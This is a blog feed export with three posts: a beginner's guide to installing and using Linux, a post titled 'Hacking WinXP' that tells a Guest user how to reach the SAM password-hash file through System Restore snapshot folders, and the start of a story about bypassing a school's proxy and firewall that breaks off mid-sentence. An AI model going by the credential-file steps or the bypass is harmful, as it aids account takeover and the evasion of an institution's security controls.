your partitions,&lt;br /&gt;select 'Disk Druid'.  If you originally only had one partition with&lt;br /&gt;windows, then the top of the screen should look something like this:&lt;br /&gt;&lt;br /&gt;Mount Point        Device       Requested       Actual              Type&lt;br /&gt;                   hda1         ??MB            ??MB           Win95&lt;br /&gt;                   hda2         ??MB            ??MB           Linux Swap&lt;br /&gt;                   hda3         ??MB            ??MB           Linux Native&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mount point should be blank.&lt;br /&gt;'Device' is the name of the partition&lt;br /&gt;'Requested' is the amount of hard drive space you wanted for the partition&lt;br /&gt;'Actual' is the amount of hard drive space that is really in the partition&lt;br /&gt;'Type' is what's in the partition&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;**The 'requested' and 'actual' sections for the 'Linux Swap" type should&lt;br /&gt;be the amount of RAM you have.**&lt;br /&gt;&lt;br /&gt;**It looks confusing, but in reality if it is simple.  Don't worry if your&lt;br /&gt;screen doesn't look exactly like my diagram, it probably won't.**&lt;br /&gt;&lt;br /&gt;What you should do now is select the 'Linux Native' section (by pressing&lt;br /&gt;tab to get to that part of the screen, then using the arrow keys) and then&lt;br /&gt;press tab again until the 'edit' button is highlighted.  Pressing spacebar&lt;br /&gt;will bring up another dialog box.  In the space provided, put a slash (/)&lt;br /&gt;then press OK.  Now you're back at the main screen. Press tab to get to&lt;br /&gt;OK, and then press spacebar.&lt;br /&gt;&lt;br /&gt;**what you're actually doing here is telling the computer to put the root&lt;br /&gt;directory, signified by the slash, in the Linux Native partition.  The&lt;br /&gt;root directory '/', is similar to 'C:\' in DOS/Windows.**&lt;br /&gt;&lt;br /&gt;Next you come to a screen asking which partitions to format.  Select the&lt;br /&gt;one that 'Linux Native' is in.  You should select the '/dev/xxxx/'&lt;br /&gt;partition where 'xxxx' is the name of the device that the Linux Native&lt;br /&gt;partition is under.  This is where you put the '/' on the last screen. If&lt;br /&gt;the Linux Native partition device was hda3 then choose '/dev/hda3', if it&lt;br /&gt;was hda6, then choose '/dev/hda6', you get the point.&lt;br /&gt;&lt;br /&gt;**IT IS VERY IMPORTANT THAT YOU DO NOT SELECT THE WRONG PARTITION TO&lt;br /&gt;FORMART!**&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.3 - Selecting What to Install&lt;br /&gt;&lt;br /&gt;Suppose you had three hard drives on Windows - c:\, d:\ and e:\, and you&lt;br /&gt;want to install Linux on d:\. Windows assigns the letter c to the first&lt;br /&gt;hard drive it finds that has a DOS/Windows file partition, d to the second&lt;br /&gt;DOS/Windows-compatible hard drive etc', so this might help you out&lt;br /&gt;determining which device to choose. Also, if you turn d:\ into the Linux&lt;br /&gt;hard drive, it will disappear from DOS/Windows, and e:\ will turn into&lt;br /&gt;d:\.&lt;br /&gt;&lt;br /&gt;You're not finished yet, but take a sigh of relief, the hardest part is&lt;br /&gt;over.  Next comes the screen asking which packages to install.  Some of&lt;br /&gt;the most important ones are selected already.  If you have a lot of hard&lt;br /&gt;drive space, select all the other packages.  Otherwise, just select the&lt;br /&gt;others that you think are important.  Definitely select 'KDE' and 'GNOME'.&lt;br /&gt;Those are window manager programs for the X-Windows system (a GUI - Graphical&lt;br /&gt;User Interface), and we'll deal with them later.  Anyway, newer versions always&lt;br /&gt;come with new software and/or updates for old software.&lt;br /&gt;&lt;br /&gt;Press OK and the Linux installation begins!&lt;br /&gt;&lt;br /&gt;3.4 - Misc. Configurations&lt;br /&gt;&lt;br /&gt;After everything has been installed, you are prompted for more things.  &lt;br /&gt;The first should be what resolution your monitor is.  Most people would&lt;br /&gt;like to use the same resolution they use on Windows, so if you don't know&lt;br /&gt;which resolution you were using until now, switch back to Windows,&lt;br /&gt;right-click on your desktop area, click properties and find the settings&lt;br /&gt;tab. You should see your current resolution there. This would probably be&lt;br /&gt;the same resolution you would want to use on Windows. If you want a higher&lt;br /&gt;resolution, consult your monitor's manual to find out how high you can go.&lt;br /&gt;&lt;br /&gt;Next is the mouse configuration.  If your mouse is not on the list, select&lt;br /&gt;'Generic PS/2 Mouse'.&lt;br /&gt;&lt;br /&gt;There are more such as clock set and time zone but those are&lt;br /&gt;self-explanatory.  After this, comes the services screen.  These are the&lt;br /&gt;things that will startup when you run Linux.  Then it will prompt you for&lt;br /&gt;if you want the X-Windows interface to run when you start Linux.  If you are a&lt;br /&gt;Linux newbie (and you probably are, unless you weren't reading this guide), I&lt;br /&gt;suggest you do this.  X windows is the GUI system, as explained before.&lt;br /&gt;&lt;br /&gt;The last configuration is the printer.  This is self-explanatory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.5 - Configuring Users&lt;br /&gt;&lt;br /&gt;Ok...you're almost done; the configurations are pretty much finished.  Now&lt;br /&gt;you will be prompted to create a password for the root operator. Even though&lt;br /&gt;it is still very popular on single home users, Linux is a multi-user operating&lt;br /&gt;system.  Even if you'll be the only person using your computer, having a&lt;br /&gt;multi-user system is quite benefical. For example: you can use a&lt;br /&gt;less-privileged user to prevent yourself from doing stupid things and messing&lt;br /&gt;things up.  You can run sensitive software which can be broken to (say, some&lt;br /&gt;sort of a server. For example: a Sendmail server for outgoing mail if you're&lt;br /&gt;planning to let people sent mail from your machine, or a web server if you&lt;br /&gt;want to serve a website off your computer) as a less-privileged user, so if&lt;br /&gt;someone will manage to exploit some hole in this software, he will have very&lt;br /&gt;limited privileges (up to what the program needs to run properly) and he won't&lt;br /&gt;be able to do much, or nothing at all in most cases (he won't have read&lt;br /&gt;access to password files, he won't have write access to the website's files&lt;br /&gt;so he won't be able to alter them etc').  On any UNIX-based system (and there&lt;br /&gt;are many) the main user is called 'root'.  The root has supreme power over the&lt;br /&gt;system and supreme power over all the other users.  In fact, he has unlimited&lt;br /&gt;power (unless he or another root-privileged user chooses to impose access&lt;br /&gt;limits, but root-privileged users can always restore their rights to the&lt;br /&gt;fullest).&lt;br /&gt;&lt;br /&gt;My root password is a particularly simple one.  Mainly because I am the&lt;br /&gt;only one who uses Linux on my computer (and besides that I trust my own&lt;br /&gt;family!) and that my Linux system is not connected to the Internet (so&lt;br /&gt;hackers [or crackers I should say] would have no way to get into my&lt;br /&gt;system).  Make your password anything not to complicated that you'll&lt;br /&gt;forget it, but something that is very hard to guess.&lt;br /&gt;&lt;br /&gt;After you're done making a password for the root user, you're prompted to&lt;br /&gt;create an unprivileged, or ordinary user account.  You make the user name,&lt;br /&gt;credentials, and password.  It may seem pointless at first to create&lt;br /&gt;another user- especially an unprivileged one if you are the only one who&lt;br /&gt;is going to be using Linux.  However there is a big advantage to it.  As a&lt;br /&gt;root user, you can do anything to the system, including seriously messing&lt;br /&gt;it up.  Nothing will stop you because you are root.  An ordinary user&lt;br /&gt;account is like security so if you mess up, the system will stop you.&lt;br /&gt;&lt;br /&gt;3.6 - Booting Configurations&lt;br /&gt;&lt;br /&gt;Next you are asked if you want to create a boot disk.  I strongly recommend&lt;br /&gt;this because it will put the Linux boot stuff on the disk, not your computer. &lt;br /&gt;If you put the Linux boot stuff on a computer with windows, it may conflict&lt;br /&gt;with the windows boot stuff in case you ever reinstall Windows (go to&lt;br /&gt;blacksun.box.sk/byteme.html and read #18 for a good example).&lt;br /&gt;&lt;br /&gt;The Linux 'boot stuff' I'm talking about is a program called 'LILO'.  &lt;br /&gt;That's short for 'Linux Loader'.  Anyway LILO installs itself to the boot&lt;br /&gt;sector of the computer.  The problem is that Windows also installs stuff&lt;br /&gt;to the boot sector.  LILO can install over Windows and let you choose to&lt;br /&gt;either boot up Linux or Windows whenever you start up your computer.  If you&lt;br /&gt;choose Windows, it'll use Windows' "boot stuff".&lt;br /&gt;&lt;br /&gt;Anyway, in my opinion, when the install program asks you to create a boot&lt;br /&gt;disk, click Ok, then follow the directions to create a boot disk.  Oh yeah,&lt;br /&gt;by the way, when you make a boot disk, it puts LILO on that disk.  When it&lt;br /&gt;asks you to install LILO, just press Skip (unless you want to install&lt;br /&gt;LILO, which most users will).&lt;br /&gt;&lt;br /&gt;Congratulations! You're done installing Linux!  When the installation&lt;br /&gt;program ends, take the installation boot disk out of the drive.  If you&lt;br /&gt;booted the installation from CD, don't forget to take that out too.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4.0 - Running Linux&lt;br /&gt;&lt;br /&gt;I bet you're glad to finish that installation!  Now you're finally ready&lt;br /&gt;to run the system. If you decided to create a boot disk, insert that into&lt;br /&gt;the disk drive.  If you decided to install LILO, just sit tight for now.  &lt;br /&gt;Regardless of what you did, reset your computer.  If you used LILO, you&lt;br /&gt;will get a prompt to load Linux or Windows.  If you used a boot disk, the&lt;br /&gt;system will startup automatically.&lt;br /&gt;&lt;br /&gt;After the system starts up, the will get prompted for a user name and&lt;br /&gt;password.  This will look different depending on how you configured it in&lt;br /&gt;the installation.  If you chose to start the X Windows GUI automatically,&lt;br /&gt;the username and password screen will look like it does in Windows (well,&lt;br /&gt;sort of. X-Windows is much cooler, unless you're using some lame version of&lt;br /&gt;it or some lame window manager).  If you chose not to load the X Windows&lt;br /&gt;interface at startup (like most advanced users will), you'll be presented&lt;br /&gt;with a text-based interface.  The text-based interface (the command console)&lt;br /&gt;is much faster than the graphical system, but this also means you cannot view&lt;br /&gt;any graphics until you start X-Windows (this is a good time to mention that&lt;br /&gt;most people just call it X).  Anyway, you can always run a command console&lt;br /&gt;from an X window (usually called an "XTerm", which stands for X Terminal). &lt;br /&gt;Anyway, the login screen will look pretty much the same regardless of&lt;br /&gt;whether you are using RedHat or Mandrake.&lt;br /&gt;&lt;br /&gt;If you're wondering what to type in the username box, that's easy.  Your&lt;br /&gt;username is 'root' (remember?).  The password is the one that you selected&lt;br /&gt;at installation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5.0 - Using Linux&lt;br /&gt;&lt;br /&gt;5.1 - Intro To The Console&lt;br /&gt;&lt;br /&gt;Even though you'll probably be able to do everything with ease using the X&lt;br /&gt;Windows GUI, there is still some stuff you should know.  First off, don't&lt;br /&gt;rely on a GUI for everything!  That is very important because you will&lt;br /&gt;learn a lot by using the console.  The console is more powerful and can do a&lt;br /&gt;lot of things you would REALLY like if you'll just grab a good basic Unix book&lt;br /&gt;and start learning.  After you do, you'll find yourself often opening an XTerm&lt;br /&gt;window to run some console commands which you cannot run from X.  If you&lt;br /&gt;selected to start the GUI interface when Linux loads up, there are still lots&lt;br /&gt;of ways to get to the console.&lt;br /&gt;&lt;br /&gt;The console prompt should look somewhat like this (if you're logged in as root):&lt;br /&gt;[root@localhost.localdomian]#&lt;br /&gt;&lt;br /&gt;The first part identifies who you are, and the '#' is the actual prompt.  &lt;br /&gt;Any almost and UNIX type system, the '#' means you are root.  On non-root bash&lt;br /&gt;consoles (BASH - Bourne Again Shell.  BASH is the most popular text-based&lt;br /&gt;shell.  Confused?  Don't worry, we'll get to that in a second) this will be&lt;br /&gt;replaced with a $.  Anyway, you can change the prompt, but we won't get into&lt;br /&gt;that now.&lt;br /&gt;&lt;br /&gt;5.11 - Shells&lt;br /&gt;&lt;br /&gt;You use a shell everytime you're in the Linux console.  What a shell is,&lt;br /&gt;is the program that communicates between you and the Kernel (the kernel is&lt;br /&gt;the core of the system).  Let's think of it as an interpreter for for two&lt;br /&gt;people who are trying to have a meeting, except they don't speak the same&lt;br /&gt;language.  One speaks English and the speaks, oh let's say Hebrew (about half&lt;br /&gt;the members of Black Sun Research Facility (blacksun.box.sk if you don't&lt;br /&gt;know the URL yet. Also, if you havn't noticed, I'm a member of BSRF) are from&lt;br /&gt;Israel).  To communicate with each other they need a guy who speaks both&lt;br /&gt;English and Hebrew.  If the English guy wants to tell the Hebrew guy&lt;br /&gt;something, he tells it to the interpreter in English, and then the&lt;br /&gt;interpreter tells it to the other guy in Hebrew, and vice versa.  Well&lt;br /&gt;anyway, getting back to the subject, this is the case with Linux.  Your&lt;br /&gt;language is the Linux commands, and the Kernel speaks it's own very complex&lt;br /&gt;language.  When you want to talk to the Kernel, you tell shell in your&lt;br /&gt;language, and the shell tells it to the Kernel in it's language.  On any Linux&lt;br /&gt;system, there a few shells.  Some of them are:&lt;br /&gt;&lt;br /&gt;ash&lt;br /&gt;bash&lt;br /&gt;bsh&lt;br /&gt;csh&lt;br /&gt;tcsh&lt;br /&gt;zsh&lt;br /&gt;&lt;br /&gt;The most popular and powerful shell is 'bash' (borne again shell).  We&lt;br /&gt;won't go that much into shells, because you don't need to know that much&lt;br /&gt;about them just yet.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;5.2 - Navigating The File System&lt;br /&gt;&lt;br /&gt;The most important thing to know when using the console is how to navigate&lt;br /&gt;the file system without a graphical program.&lt;br /&gt;&lt;br /&gt;The first thing to understand about this is that the bottom directory, the&lt;br /&gt;directory that everything else is a subdirectory of is '/'.  It's like&lt;br /&gt;'C:\' in Windows.&lt;br /&gt;&lt;br /&gt;Ok, you start at the console and as a default you're either in your home&lt;br /&gt;directory (every user has a home directory which contains his personal&lt;br /&gt;configurations files).  Now you want to navigate to another directory.  But&lt;br /&gt;wait, you don't know any other directories!  You'll a directory listing for&lt;br /&gt;this, right?  To do this type 'ls' at the prompt. 'ls' is the equivlant to&lt;br /&gt;'dir' in MS-DOS, and stands for list.   You'll get a list of files and&lt;br /&gt;folders.  To make the list a bit more readable, try ls -Fla.  The -a shows&lt;br /&gt;files which start with a period (for example: .Xclients-default).  The -l&lt;br /&gt;displays file permissions and displays everything in neat columns.  The -F&lt;br /&gt;option adds a / after a directory and a * after an executable file.  I also&lt;br /&gt;suggest using ls -Fla --color to let the system color-code different files&lt;br /&gt;(may not be available on some systems).&lt;br /&gt;&lt;br /&gt;Anyway, now that you what directories there are, you need to know how to&lt;br /&gt;get into them.  Luckily, you use the same command as you you use in&lt;br /&gt;MS-DOS, the 'cd' (change directory) command.  Let's say you're at the&lt;br /&gt;bottom directory, '/' and you want to get to '/root'.  You simply type&lt;br /&gt;'cd root'.  There is no need to type 'cd /root', because you're already in&lt;br /&gt;'/'.  Now let's say you want to get to '/root/bin'.  This would be done by&lt;br /&gt;typing 'cd bin'.  There is no need to type 'cd /root/bin' (the "full path" of&lt;br /&gt;the directory), since you're already in '/root'.  Instead, you can use a&lt;br /&gt;"relative path", which is a path that is relative to the current directory&lt;br /&gt;you're in.  Type pwd to find out where you are (pwd stands for print working&lt;br /&gt;directory).&lt;br /&gt;&lt;br /&gt;Now let's say you're in '/root/bin' and you want to get to '/usr'.  You would&lt;br /&gt;type 'cd /usr'.  This is to signify that the 'usr' directory is under '/', not&lt;br /&gt;'/root/bin', or even '/root'.  Got it? Ok, just one more thing.  If you're in&lt;br /&gt;a subdirectory, and you want to get to the top directory, just type 'cd ..'. &lt;br /&gt;Let's say you're in '/root/bin', and you want to get to '/root'.  You could&lt;br /&gt;just type 'cd /root', but hey, '/root' is five characters!  If you want to&lt;br /&gt;save precious miliseconds, just type 'cd ..', since '/root' is the directory&lt;br /&gt;in which '/root/bin' is a subdirectory of.  So in other words, . is the&lt;br /&gt;current directory, .. is one directory above, ... is two directories above&lt;br /&gt;etc'.&lt;br /&gt;&lt;br /&gt;5.3 - Basic File and Directory Commands&lt;br /&gt;&lt;br /&gt;There are lots of file and directory commands in Linux, but we'll start&lt;br /&gt;with directory commands because they're easier.  First off, you have&lt;br /&gt;'mkdir'.  'mkdir' stands for make directory and the context is:&lt;br /&gt;&lt;br /&gt;mkdir the_directory_you_want_to_make&lt;br /&gt;&lt;br /&gt;Some rulse apply.  If you're '/', it will make the new directory under&lt;br /&gt;'/'.  If you're in '/usr', it will make the directory under '/usr'.  Of&lt;br /&gt;course though, if you're in '/' and you want to make a directory called&lt;br /&gt;'stuff' under '/usr', you would simply type '/usr/stuff'.&lt;br /&gt;&lt;br /&gt;The next command is the 'rm' command.  It works with files and direcotires&lt;br /&gt;and is used to delete some, it stands for 'remove'.  If you want to remove&lt;br /&gt;a file called 'this.gif', you would go to the directory where that file is&lt;br /&gt;and type 'rm this.gif'.  Or let's say again you're in '/' and 'this.gif'&lt;br /&gt;is in '/usr', you would type 'rm /usr/this.gif'.  It works the same way&lt;br /&gt;with a directory.&lt;br /&gt;&lt;br /&gt;Next are the 'cp' and 'mv' commands.  They're both relativley simple, but&lt;br /&gt;we'll start with 'cp'.  'cp' stands for copy, and is used to copy a file&lt;br /&gt;from directory to another.  The context is:&lt;br /&gt;&lt;br /&gt;cp /directory_where_it_is/filename /directory_where_you_want_to_copy_it&lt;br /&gt;&lt;br /&gt;Of course if you're already in the directory where the file is, all you&lt;br /&gt;need to type is:&lt;br /&gt;&lt;br /&gt;cp filename /directory_where_you_want_to_copy_it&lt;br /&gt;&lt;br /&gt;'mv' works the exact same way, except it moves the file instead of copying&lt;br /&gt;it.  This means it deletes in from the original directory and puts it in&lt;br /&gt;the new one.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5.4 - Finding and Viewing Commands&lt;br /&gt;&lt;br /&gt;To find a file, oyu use the 'find' command.  It then followed by the&lt;br /&gt;directory where you want to start looking, then the '-name' arguement to&lt;br /&gt;say that you're searching for a filename.  Next you type the name of the&lt;br /&gt;file.  Let's say you're looking for the 'this.gif' in the '/usr'&lt;br /&gt;directory, the context would look like this:&lt;br /&gt;&lt;br /&gt;find /usr -name this.gif&lt;br /&gt;&lt;br /&gt;The find command doesn't stop at filenames, it can also search a file for&lt;br /&gt;a paticular string of text.  It has the same context as the find file&lt;br /&gt;command except you put quotes and asteriks around the string of text.  So&lt;br /&gt;if you wanted to search the '/usr' directory for a file containing the&lt;br /&gt;string 'hello', you would type&lt;br /&gt;&lt;br /&gt;find /usr -name "*hello*"&lt;br /&gt;&lt;br /&gt;Ok, once you find a file, you want to view it right?  Well, you could open&lt;br /&gt;the file with a text editor, but we haven't learned to use tetx editors&lt;br /&gt;yet, and anyway if the file you want to view is important you might&lt;br /&gt;accidently change it and save it using a text editor.  That's what the&lt;br /&gt;'cat' command is for.  Let's say you want to view a file called&lt;br /&gt;'stuff.txt' in '/root'.  You would navigate to the '/root' directory and&lt;br /&gt;type 'cat stuff.txt'.  Or from any directory, type 'cat /root/stuff.txt'&lt;br /&gt;&lt;br /&gt;-= For more commands, buy a good basic Unix book =-&lt;br /&gt;&lt;br /&gt;5.5 - linuxconf&lt;br /&gt;&lt;br /&gt;There are lots of commands in Linux for configuring everything to user&lt;br /&gt;passwords, networks, and the message that comes up when you start Linux.  With&lt;br /&gt;so many things to configure, luckily there is one program that does it all. &lt;br /&gt;Just type 'linuxconf' at the command prompt, and you'll be brought to the&lt;br /&gt;Linux Configuration program.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5.6 - Mounting&lt;br /&gt;&lt;br /&gt;5.61 - Mounting Drives&lt;br /&gt;&lt;br /&gt;In Linux, drives not only have to be physically mounted to the computer, but&lt;br /&gt;mounted in software too.  In the KDE and GNOME GUIs, you can easily mount a&lt;br /&gt;CD-ROM or disk drive by clicking on the 'CD-ROM' or 'Disk Drive' icons on the&lt;br /&gt;desktop.&lt;br /&gt;&lt;br /&gt;5.62 - How to mount&lt;br /&gt;&lt;br /&gt;Remember earlier in this tutorial when we went over how a hard drive partition&lt;br /&gt;is almost like a separate hard drive?  Well, just like a separate drive,&lt;br /&gt;partitions also have to be mounted.  The main use in this is being able to&lt;br /&gt;mount Windows partition and access Windows files in Linux.  Obviously, Windows&lt;br /&gt;software will not run under Linux but there is still a use for accessing&lt;br /&gt;Windows files in Linux.&lt;br /&gt;&lt;br /&gt;Let's say you can't use the internet in Linux.  You ISP only allows to&lt;br /&gt;dialup with software and they don't make it for Linux, you're not used to&lt;br /&gt;Linux yet so you don't want to use the net in it yet.  This is a down&lt;br /&gt;point, but it doesn't mean you can't download Linux files to use.  All you&lt;br /&gt;have to do is download the files in Windows and access them in Linux.&lt;br /&gt;&lt;br /&gt;To mount a windows partition in Linux, yhe first thing you must do is&lt;br /&gt;create a directory in Linux where you will mount the windows partition to&lt;br /&gt;reside.  Go into file manager (it should be under utilities no matter what&lt;br /&gt;distribution you're using) and create a new directory under '/'.  Call&lt;br /&gt;anything, I suggest calling it 'windows'.  Now exit file manager and go&lt;br /&gt;into 'terminal' (should also be under utilities). Terminal will give you a&lt;br /&gt;command prompt just like MS-DOS.  This is what you would have to do&lt;br /&gt;everything from if there were no X Windows GUI.  The command to use is&lt;br /&gt;simply enough- 'mount'.  But don't type it just yet, you need to give the&lt;br /&gt;system more info.  The full command is&lt;br /&gt;&lt;br /&gt;mount -t vfat /dev/xxxx /yyyyyyy (yes there is a space between 'xxxx' and '/')&lt;br /&gt;&lt;br /&gt;Or mount -t vfat32 /dev/xxxx /yyyyyyy in case this is a FAT32 partition.&lt;br /&gt;&lt;br /&gt;Where 'yyyyyyy' is the directory you just created, and 'xxxx' is the device&lt;br /&gt;name of the partition where Windows resides.  It is usually hda1 or something.&lt;br /&gt;&lt;br /&gt;There, now just go into file manager and click on the directory you created&lt;br /&gt;and you will have all the files that are on your windows partition.&lt;br /&gt;&lt;br /&gt;When you're done, don't forget to unmount the drive by typing:&lt;br /&gt;&lt;br /&gt;umount /dev/xxxx /yyyyyyy &lt;br /&gt;&lt;br /&gt;Each time you want to access your windows files, just mount the partition&lt;br /&gt;(unless they're set for automount. Edit /etc/fstab, find the line that&lt;br /&gt;represents your Windows partition and look for a place with says noauto.  If&lt;br /&gt;you find the word noauto, change it into defaults.  If you don't, your&lt;br /&gt;Windows partition will probably get automounted whenever you boot-up Linux).  &lt;br /&gt;When you're done with them, just unmount the partition.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5.7 - Runlevels&lt;br /&gt;&lt;br /&gt;While Windows is booting, have you ever pressed the F8 key?  Well, if you&lt;br /&gt;have, you're probably familiar with a screen that pops up giving you a&lt;br /&gt;list of ways you can load Windows.  There's safe mode, command prompt,&lt;br /&gt;step-by-step confirmation, etc.  Linux has something just like that, and&lt;br /&gt;they're called 'runlevels'.  There are six runlevels in all, and some are&lt;br /&gt;pretty much the same.  A runlevel is a list of commands to load-up as soon&lt;br /&gt;as you start up Linux (there's a mini-tutorial about runlevels at&lt;br /&gt;blacksun.box.sk/byteme.html).  Your default runlevel is probably 5.  If you&lt;br /&gt;configured the GUI to start up when you boot the system, and if your default&lt;br /&gt;runlevel is 5, then that is the runlevel configured to boot the GUI when it&lt;br /&gt;starts up...simple, right?&lt;br /&gt;&lt;br /&gt;Well anyway, if you use linuxconf to change your default runlevel to 2 or&lt;br /&gt;3 or something, then you change it so that the GUI won't start as soon as&lt;br /&gt;the system boots....all without touching the actual runlevel.  When you&lt;br /&gt;want to change it back, just use linuxconf to set the default runlevel&lt;br /&gt;back to 5.&lt;br /&gt;&lt;br /&gt;Now let's say you only want to load it without the GUI coming up once.  &lt;br /&gt;Instead of having to change the configuration in linuxconf, and then&lt;br /&gt;changing it back, you can load Linux into another runlevel.  Suppose You&lt;br /&gt;want to load runlevel 2...not for any paticular reason, just because it's&lt;br /&gt;not configured to load the GUI when it boots up, and well, you like the&lt;br /&gt;number 2.  To do this, as soon LILO comes up (whether it's on your&lt;br /&gt;computer, or your boot disk), you have the option to type something next&lt;br /&gt;to 'boot:'.  Just type 'linux x'.  'x' refers to the number of the&lt;br /&gt;runlevel, in this case the number 2, so you type 'linux 2', and press&lt;br /&gt;enter.  This will load Linux without loading the GUI.  When you restart&lt;br /&gt;Linux, it will load the default runlevel again.&lt;br /&gt;&lt;br /&gt;For an interesting runlevels-related local hack, read the Byte-Me mini-tutorial&lt;br /&gt;about runlevels at blacksun.box.sk/byteme.html.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You are now officially a Linux user.  Check out www.linuxlinks.com for&lt;br /&gt;links to some great Linux sites.  The best way to learn about Linux is by&lt;br /&gt;messing around with it.  In an hour of playing with Linux you can learn a&lt;br /&gt;lot.  If you want more interesting yet simple and easy-to-understand tutorials,&lt;br /&gt;check out http://blacksun.box.sk.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-3650895167783467475?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/3650895167783467475/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/guide-to-linux.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/3650895167783467475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/3650895167783467475'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/guide-to-linux.html' title='Guide to Linux'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6659334141092895534</id><published>2008-12-10T23:32:00.000+07:00</published><updated>2008-12-10T23:35:20.191+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking WinXP</title><content type='html'>We all know WinNT's SAM file, the file where all the passwords are stored.&lt;br /&gt;We also know how easy it is to crack that file and get accesss to all user accounts.&lt;br /&gt;&lt;br /&gt;Thaught the problems were fixed in WinXP?&lt;br /&gt;WRONG!!&lt;br /&gt;&lt;br /&gt;Again, MS had shown us they are stupid. XP... whatever...&lt;div class="fullpost"&gt;&lt;br /&gt;To get to the SAM file with the GUEST (!!!) account, all you have to do is to find the "System Restore" directory.&lt;br /&gt;This is the directory where all of your computer registry, files you open and logs of stuff you do are being stored.&lt;br /&gt;&lt;br /&gt;Since this place is being cleaned rarely (maybe never), it could get up to 500+ MB!&lt;br /&gt;The name of the System Restore directory is not accessable by the "regular" methoods.&lt;br /&gt;&lt;br /&gt;It should look like this: (i think its diffrent for every comp)&lt;br /&gt;&lt;br /&gt;C:\System Volume Information\_restoreEFD2B458-5961-41F9-973B-04938D33D24E\&lt;br /&gt;&lt;br /&gt;The "System Volume Information" dir is not accessable, even for an administrator, and even if you try accessing&lt;br /&gt;the "_restoreEFD2B458-5961-41F9-973B-04938D33D24E" dir right away, you wont succeed (this was fixed in an update).&lt;br /&gt;&lt;br /&gt;So what do we do? Back to the DOS ways!&lt;br /&gt;Just enter drive C:\ (or whatever drive they installed it too).&lt;br /&gt;&lt;br /&gt;Oh no! the files are hidden!! Is that suppose to scare someone???&lt;br /&gt;&lt;br /&gt;Click there to view the files, and in the address bar, write:&lt;br /&gt;&lt;br /&gt;C:\system~1\_resto~1\&lt;br /&gt;&lt;br /&gt;You're in!&lt;br /&gt;See these folders? each of them is a season that was preformed in windows.&lt;br /&gt;Enter the most current one (the highest number), and then to the "snapshot" dir.&lt;br /&gt;See this? _REGISTRY_MACHINE_SAM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6659334141092895534?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6659334141092895534/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/hacking-winxp.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6659334141092895534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6659334141092895534'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/hacking-winxp.html' title='Hacking WinXP'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2416543711795746169</id><published>2008-12-10T23:30:00.000+07:00</published><updated>2008-12-10T23:32:04.243+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>Network Firewall Security</title><content type='html'>The Schools Network&lt;br /&gt;&lt;br /&gt;Internal Computers ----&gt; Router ----&gt; MS Proxy ----&gt; Firewall ----&gt; The&lt;br /&gt;Internet&lt;br /&gt;&lt;br /&gt;&gt;From this setup the configuration seems like they are pretty secure from an&lt;br /&gt;outside line attack. How I know because you never get the inner domains IP&lt;br /&gt;one the referred one the proxy spits out back to you.&lt;br /&gt;&lt;br /&gt;Now then the problem with the network is that it has too many restrictions.&lt;br /&gt;Some of them include&lt;br /&gt; No downloading of Exe Zip Wav files&lt;br /&gt;      No downloading of MP3's&lt;br /&gt;      Banning of Popular Email Services&lt;br /&gt;  Banning of Shopping &amp; entertainment sites&lt;br /&gt; Port blocking (no FTP, Telnet, etc.) only port 80&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;I was generally pissed that I couldn't download what I wanted or go to check&lt;br /&gt;my email daily and thus was determined to successful work my way into&lt;br /&gt;management.&lt;br /&gt;&lt;br /&gt;The solution is simple and practical&lt;br /&gt;To start with let's get past this crappy ms proxy. First off you can't do&lt;br /&gt;the simple disable the proxy like we had done in the past. For the new guys&lt;br /&gt;this is where you would just go to your 